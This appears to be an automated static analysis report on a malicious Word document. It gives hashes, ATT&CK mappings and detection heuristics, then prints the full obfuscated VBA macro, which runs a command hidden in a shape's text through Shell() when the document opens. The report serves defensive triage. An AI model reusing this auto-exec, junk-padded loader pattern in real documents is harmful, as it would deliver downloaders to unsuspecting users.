Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 5416ed8a0f4f683a…

MALICIOUS

Office (OLE)

140.6 KB Created: 2018-11-30 15:40:00 Authoring application: Microsoft Office Word First seen: 2019-01-12
MD5: f8a5e41cb8b3a57d47e59a0024750e92 SHA-1: 136ab68c017d78122642b9ef046d2b8855654088 SHA-256: 5416ed8a0f4f683a7c2585eeb36f712e9d8e3bb2d633d0bb72a923ef082fa9dc
272 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1059.001 PowerShell T1204.002 Malicious File T1059.003 Windows Command Shell

The sample contains a Document_Open VBA macro that utilizes the Shell() function to execute a command. This command invokes cmd.exe with arguments that appear to construct and execute a PowerShell command. The PowerShell command is designed to download content from multiple URLs, suggesting it's a downloader for a second-stage payload. The presence of cmd.exe and PowerShell execution, along with the Shell() call, strongly indicates a malicious intent to compromise the system.

Heuristics 9

  • ClamAV: Doc.Malware.Dkah-6765199-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Dkah-6765199-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
                IjQsIiFGL = CByte(122056711)
jZPVw = Array(tXVzssz, Interaction.Shell(iQRmh, HjDrF), wdYGmJrj)
   On Error Resume Next
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Attribute VB_Customizable = True
Private Sub Document_open()
   On Error Resume Next
  • Suspicious cmd.exe invocation with execution flag high SC_STR_CMD
    Suspicious cmd.exe invocation with execution flag
  • Reference to PowerShell high SC_STR_POWERSHELL
    Reference to PowerShell
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 7593 bytes
SHA-256: 6093b01cef2836d8b54165f145d9a5dc87cc6a7c110afd7e0245744da0877b00
Detection
ClamAV: No threats found
Obfuscation or payload: likely
163 of 244 identifiers look randomly generated (e.g. 'QQpVznZzlhph') — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "QQpVznZzlhph"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_open()
   On Error Resume Next
            jQzCwjK = Atn(CXYAj)
            AswKpqWk = CLng(pQJkfwKQ)
            cwKGrdZZ = Cos(rZMsSsEt)
            fREjH = CByte(cJmpvfErG)
            YiiuAUlPF = CByte(206844254)
            bwzQjl = CBool(288524834)
            wavqMiir = iFmhFwtK
            zGLjpac = 257697849
            MoZPt = CByte(81013964)
   On Error Resume Next
            wwRBX = Atn(jhUjmT)
            qKtFCBt = CLng(YqopzfhMs)
            zAQhdUWWF = Cos(mHiHS)
            cPDAPDw = CByte(ZGdLa)
            zUcjnSMI = CByte(215801482)
            ifvoMQL = CBool(216824264)
            VCRJrhw = OIXqL
            RFRfvTzPT = 229487652
            SjHKpIu = CByte(319801746)
Set SdrSP = Shapes("QtLiaYCsZzI")
   On Error Resume Next
            IGdjMR = Atn(BOOZivo)
            KEiDmR = CLng(brGXhl)
            mXija = Cos(QVHzC)
            udzAwZju = CByte(qrTjzwflZ)
            jmzbruzV = CByte(251256537)
            owiAFWicr = CBool(66264399)
            wqIwfLAcF = jhJTuvBI
            zEzzF = 300772287
            SdaOC = CByte(308014917)
   On Error Resume Next
            rkFic = Atn(jzqUi)
            CVckFzBw = CLng(WjDfR)
            UjBEScFsu = Cos(lfHdsA)
            JYBAwc = CByte(iTJAVD)
            zKOOQ = CByte(273037046)
            PFwdiU = CBool(128777385)
            tUQVUt = QrWDm
            zTEXqNm = 134707744
            ObLwuSEXQ = CByte(53247228)
   On Error Resume Next
            NjiVGPEl = Atn(DZVqDd)
            zjuPBQz = CLng(jaoFWojHi)
            QZnBul = Cos(UljfwcPq)
            vqJvhwi = CByte(ljbwOaXR)
            XmEjwlJb = CByte(216706960)
            NTlzYPBs = CBool(271926514)
            nlUqEPOKq = KMNLF
            lmzFAUA = 109773931
            PziCjNi = CByte(226477689)
   On Error Resume Next
            cSzvpF = Atn(NPDiI)
            rnUHvJ = CLng(LFFEZELTj)
            snEiat = Cos(vFVRz)
            sjXjWrLdm = CByte(KDXNu)
            luiiDLv = CByte(29704418)
            QtKMpni = CBool(86389929)
            NYCUpb = hFjtfDj
            ZUaiTq = 218492580
            SGFzBRzS = CByte(210580366)
   On Error Resume Next
            qGGwmwW = Atn(AOtqSrqi)
            sXMNZkFH = CLng(BviLIAip)
            AAtpfWfS = Cos(dRwqLFqCw)
            MQWAqGwbw = CByte(FtLdCqip)
            sphGo = CByte(182854627)
            jLjdVFDjd = CBool(164648070)
            zDiivhd = kFToVbBzE
            fJiYA = 153778194
            rUTApiAc = CByte(76318884)
   On Error Resume Next
            asphI = Atn(ulzZrWn)
            IYRnlw = CLng(zlnhu)
            PzGTqFF = Cos(cIzIqNzqJ)
            hmRAGzwh = CByte(EdGBzO)
            imqFBQiSf = CByte(100235047)
            fvlEHc = CBool(4511491)
            HMPtJ = IvAWWHA
            riLADlQEz = 136425617
            fRmYzWdAz = CByte(44116818)
iQRmh = SdrSP.TextFrame.ContainingRange
   On Error Resume Next
            AuRLwS = Atn(jsKYvozb)
            jwVqjlJNi = CLng(lZcTJLwOq)
            vPQHTjl = Cos(mtUic)
            rsNtkP = CByte(DhGjIHYB)
            zZJEwU = CByte(210177200)
            XAzJak = CBool(142924117)
            wHcQz = iamrh
            bKYNwY = 306623338
            UYXWMAWjQ = CByte(177469939)
   On Error Resume Next
            UIYaaVB = Atn(oRjfmFb)
            rEZEU = CLng(JAGAwXvGL)
            bpDwApJ = Cos(WaSnGjwFJ)
            wOfVCiw = CByte(TaYiZiF)
            DzCfBC = CByte(305115784)
            itXWuaB = CBool(286322745)
            SJwpFm = wdVjasB
            hrcBDicu = 135588262
            nJGbd = CByte(298726406)
   On Error Resume Next
            VuRKzwSV = Atn(LsWmBH)
            vkIDJzr = CLng(iMwURWsVD)
            ZlQEwsFkt = Cos(faEOncU)
            sSWVD = CByte(jmzzEr)
            XSobVH = CByte(279015594)
            PwZGRSDI = CBool(234876204)
            pCmckbDh = XKuHjBGII
            nRUdSd = 136934206
            PmzddOQOp = CByte(210961418)
   On Error Resume Next
            NKFwQ = Atn(mavXsh)
            JjnfhL = CLng(XEzFOw)
            QjUKNll = Cos(SfVMz)
            ZhnBucCr = CByte(wIOmjJLz)
            SqWrbNiw = CByte(210066250)
            OIKVM = CBool(182404273)
            XLEUWZYDV = wzFsH
            mtINiFaW = 328967227
            vdXomCKim = CByte(338486537)
   On Error Resume Next
            TziiJDzj = Atn(ocoqc)
            paPwGzMXK = CLng(QNhlBBX)
            IDDIBjOU = Cos(tPtIfWVaP)
            hdlHbYKs = CByte(PwDnEBiZm)
            ZjilASIQ = CByte(97371437)
            rMKmQpJW = CBool(316322619)
            jqnYFAp = oHwzjtp
            zrloS = 52589509
            HwDoRXPrL = CByte(191522524)
   On Error Resume Next
            jrPJHi = Atn(aGKmnP)
            jUPAZFqBv = CLng(ODUztraB)
            QVMhXm = Cos(vnfPQLJa)
            oizMAciv = CByte(vEKShOjl)
            wVUnsOt = CByte(66633975)
            WjRCt = CBool(300287369)
            FJaoQo = RAchVdGQ
            fpKFMBql = 123190904
            ZMPPsKQBb = CByte(35128681)
   On Error Resume Next
            mTafvGB = Atn(jKTFR)
            dBdkQuqrl = CLng(QlUmGEv)
            dHYDJFD = Cos(ILuubE)
            NlcBqM = CByte(hviwP)
            mOvbO = CByte(280932042)
            KVasXjw = CBool(249876715)
            wqALaHB = DFQaZdV
            qtiuQT = 210634957
            cArLjdKN = CByte(112580955)
Const HjDrF = 0
   On Error Resume Next
            tZpUjjT = Atn(PXXwO)
            sONaVuc = CLng(KPioEJ)
            PisdW = Cos(jjJzc)
            zkJbwI = CByte(iBlfjBvZ)
            ZmsiJA = CByte(341586158)
            iVrOIhEd = CBool(296970983)
            cjBnljS = IdCLcbk
            GXFzKzk = 131625519
            bQXaThCna = CByte(120681056)
   On Error Resume Next
            zzSzALE = Atn(SFkmAKP)
            hqThimmvX = CLng(CLSFkT)
            mNAltCp = Cos(ZZNHBCWuI)
            vcivN = CByte(WckJtL)
            VQJNzP = CByte(51447905)
            niqFMYnW = CBool(86942597)
            RKEorurA = OQSfzNMs
            spZiANHws = 272997304
            niFXd = CByte(187428299)
   On Error Resume Next
            sAisKopf = Atn(qwRhCalvr)
            jiGKi = CLng(oWlzO)
            OBNwvVf = Cos(UEcZjwUtE)
            whruJImq = CByte(jVREj)
            OhPUGfPQ = CByte(338317225)
            fCjihouS = CBool(324413070)
            jkUrF = EVvWD
            wsSPF = 167711643
            IjQsIiFGL = CByte(122056711)
jZPVw = Array(tXVzssz, Interaction.Shell(iQRmh, HjDrF), wdYGmJrj)
   On Error Resume Next
            CBuuCFzt = Atn(iwdfTmLkQ)
            jatdMAcQE = CLng(GbutFpQF)
            JOziTddU = Cos(NJJukFzJI)
            itaouHn = CByte(BjZiW)
            wGkjs = CByte(168012419)
            ijkDv = CBool(185685578)
            qowwjs = sjZCajV
            kSimDwd = 136314343
            QjXzMq = CByte(249727793)
   On Error Resume Next
            sPYRqGMEs = Atn(zzJLY)
            XdXpasz = CLng(izFYGKB)
            HciRUVMo = Cos(zVssmzIRc)
            EaASAQwj = CByte(BowiDQrhj)
            JBQjz = CByte(173046404)
            GjwAwHd = CBool(157774899)
            GGJiBXmWm = Bnpbu
            bJSlor = 21383949
            iJMnqFjUK = CByte(40031720)
End Sub

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